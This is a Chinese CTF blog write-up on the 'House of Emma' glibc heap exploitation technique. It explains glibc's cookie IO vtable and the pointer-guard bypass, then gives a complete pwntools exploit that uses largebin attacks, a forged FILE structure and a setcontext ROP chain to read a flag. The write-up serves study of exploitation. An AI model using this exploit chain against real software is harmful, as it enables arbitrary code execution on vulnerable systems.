House of Emma
LOLOLO Lv3

House of Emma

适用于没有free-hook、malloc-hook

参考文章http://blog.wjhwjhn.com/archives/751/

使用条件

  1. 可以任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack…)
  2. 可以触发 IO 流(FSOP、House OF Kiwi

利用原理

寻找合法的 vtable

在 vtable 的合法范围内,存在一个 _IO_cookie_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

在如下几个函数中存在任意函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif

return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif

if (close_cb == NULL)
return 0;

return close_cb (cfile->__cookie);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} c

绕过 PTR_DEMANGLE

上面几个函数在任意函数调用前存在一个检查

1
2
3
4
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)

在调用_IO_cookie_write时如下

这里我们可以修改fs[30]的值为已知数据,然后在rdi+0xf0处再构造相应的数据。

例题:湖湘杯-House-of-emma

题目思路

  1. 使用 LargeBin Attack 来在 stderr 指针处写一个可控地址
  2. 使用 LargeBin Attack 在__pointer_chk_guard 处写一个已知地址
  3. 通过写入的已知地址与需要调用的函数指针进行构造加密,同时构造出合理的 IO_FILE 结构。
  4. 利用 Unsorted Bin 会与 Top Chunk 合并的机制来修改 Top Chunk 的 Size,从而触发 House OF Kiwi 中的 IO 调用。
  5. 进入 House OF Emma 的调用链,同时寻找一个能够转移 rdi 到 rdx 的 gadget,利用这个 gadget 来为 Setcontext 提供内容。
  6. 利用 Setcontext 来执行 ROP 来 ORW

这里选择伪造stderr是因为在malloc_assert当中最后会调用fflush,其参数就是stderr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# sh = process('./pwn')
sh = process(["./ld.so", "./pwn"],
env={"LD_PRELOAD":"./libc.so.6"})
libc=ELF('./libc.so.6')
all_payload =""


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


def add(idx, size):
global all_payload
payload = p8(0x1)
payload += p8(idx)
payload += p16(size)
all_payload += payload


def show(idx):
global all_payload
payload = p8(0x3)
payload += p8(idx)
all_payload += payload


def delete(idx):
global all_payload
payload = p8(0x2)
payload += p8(idx)
all_payload += payload


def edit(idx, buf):
global all_payload
payload = p8(0x4)
payload += p8(idx)
payload += p16(len(buf))
payload += str(buf)
all_payload += payload


def run_opcode():
global all_payload
all_payload += p8(5)
sh.sendafter("Pls input the opcode", all_payload)
all_payload = ""


# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0 # main_arena + 1104
log.success("libc_base:\t" + hex(libc_base))
# print (hex(libc_base+libc.sym['stderr']))
libc.address = libc_base

guard = libc_base - 0x2890
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0

# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2ae0
log.success("heap_base:\t" + hex(heap_base))
# gdb.attach(sh)
# largebin attack stderr
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()

# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
# gdb.attach(sh)
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)
# gdb.attach(sh)

# change top chunk size
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()
# gdb.attach(sh)

next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))

fake_frame_addr = srop_addr
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret

rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,

pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,

pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)

edit(0, fake_IO_FILE)
# gdb.attach(sh, "b _IO_cookie_write")
edit(2, payload)

#pause()
add(8, 0x450) # House OF Kiwi
# gdb.attach(sh)
gdb.attach(sh, "b _IO_cookie_write")
run_opcode()
sh.interactive()

参考文章

http://blog.wjhwjhn.com/archives/751/

  • 本文标题:House of Emma
  • 本文作者:LOLOLO
  • 创建时间:2022-03-15 17:30:54
  • 本文链接:https://lololo-pwn.github.io/2022/03/15/House-of-Emma/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论